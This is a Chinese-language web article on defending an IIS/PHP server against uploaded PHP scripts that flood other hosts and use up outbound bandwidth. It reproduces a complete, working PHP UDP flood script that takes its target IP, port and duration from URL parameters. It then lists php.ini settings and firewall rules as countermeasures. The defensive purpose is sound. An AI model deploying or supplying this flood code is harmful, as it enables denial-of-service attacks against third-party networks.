防止用户利用PHP代码DOS造成用光网络带宽

 更新时间:2011年03月01日 16:00:12   作者:  
一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是不断收到大量数据包.
用PHP代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:
复制代码 代码如下:

$packets = 0;
$ip = $_GET[\'ip\'];
$rand = $_GET[\'port\'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET[\'time\'];
$time = time();
print \"Flooded: $ip on port $rand
\";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= \"X\";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen(\"udp://$ip\", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo \"Packet complete at \".time(\'h:i:s\').\" with $packets (\" . round(($packets*65)/1024, 2) . \" mB) packets averaging \". round($packets/$exec_time, 2) . \" packets/s \\n\";
?>

表现特征:
一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是不断收到大量数据包.
解决办法:
禁止上述的代码:
在c:\windows\php.ini里设置:
disable_functions =gzinflate;
在c:\windows\php.ini里设其值为Off
allow_url_fopen = Off
并且:
;extension=php_sockets.dll
前面的;号一定要有,意思就是限制用sockets.dll
前面的;号要保留
然后重启IIS
如果上述方式仍然无效,你可以在IIS中,允许的扩展中,禁止PHP的扩展测试.
另外,对于没加密的php攻击代码,还可以用以下办法处理:
1.在IP策略,或防火墙中,禁止所有udp向外发送
2.用一流信息监控,在SQL拦截及网址拦截中,拦截port=这个关键词

相关文章

  • 用PHP实现维护文件代码

    用PHP实现维护文件代码

    用PHP实现维护文件代码...
    2007-06-06
  • PHP异常处理定义与使用方法分析

    PHP异常处理定义与使用方法分析

    这篇文章主要介绍了PHP异常处理定义与使用方法,较为详细的分析了php异常处理的定义、使用方法及相关注意事项,需要的朋友可以参考下
    2017-07-07
  • PHP+ajax实现上传、删除、修改单张图片及后台处理逻辑操作详解

    PHP+ajax实现上传、删除、修改单张图片及后台处理逻辑操作详解

    这篇文章主要介绍了PHP+ajax实现上传、删除、修改单张图片及后台处理逻辑操作,结合实例形式详细分析了前台ajax提交图片上传、删除、修改以及后台PHP逻辑处理相关操作技巧与注意事项,需要的朋友可以参考下
    2020-02-02
  • 关于zend studio 出现乱码问题的总结

    关于zend studio 出现乱码问题的总结

    本篇文章是对zend studio出现乱码问题进行了详细的总结介绍,需要的朋友参考下
    2013-06-06
  • 深入分析PHP设计模式

    深入分析PHP设计模式

    这篇文章主要介绍了PHP设计模式的相关知识,文中讲解非常细致,代码帮助大家更好的理解学习,感兴趣的朋友可以参考下
    2020-06-06
  • php抽象类和接口知识点整理总结

    php抽象类和接口知识点整理总结

    这篇文章主要介绍了php抽象类和接口知识点,整理总结了php抽象类与接口的概念、原理、操作技巧及相关使用注意事项,需要的朋友可以参考下
    2019-08-08
  • php实现插入排序

    php实现插入排序

    本文给大家分享的是使用php实现插入排序的方法,十分的简单实用,有需要的小伙伴可以参考下。
    2015-03-03
  • PHP对象链式操作实现原理分析

    PHP对象链式操作实现原理分析

    这篇文章主要介绍了PHP对象链式操作,结合实例形式分析了链式操作的简单用法及对象链式操作的执行流程,具有一定参考借鉴价值,需要的朋友可以参考下
    2016-10-10
  • PHP实现本地图片转base64格式并上传

    PHP实现本地图片转base64格式并上传

    这篇文章主要介绍了PHP实现本地图片转base64格式并上传,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下
    2020-05-05
  • php实现的mongodb操作类实例

    php实现的mongodb操作类实例

    这篇文章主要介绍了php实现的mongodb操作类,较为详细的分析了php针对mongodb数据库操作的各种常用技巧,并将其封装进一个完整的类文件中以便于调用,非常具有实用价值,需要的朋友可以参考下
    2015-04-04

最新评论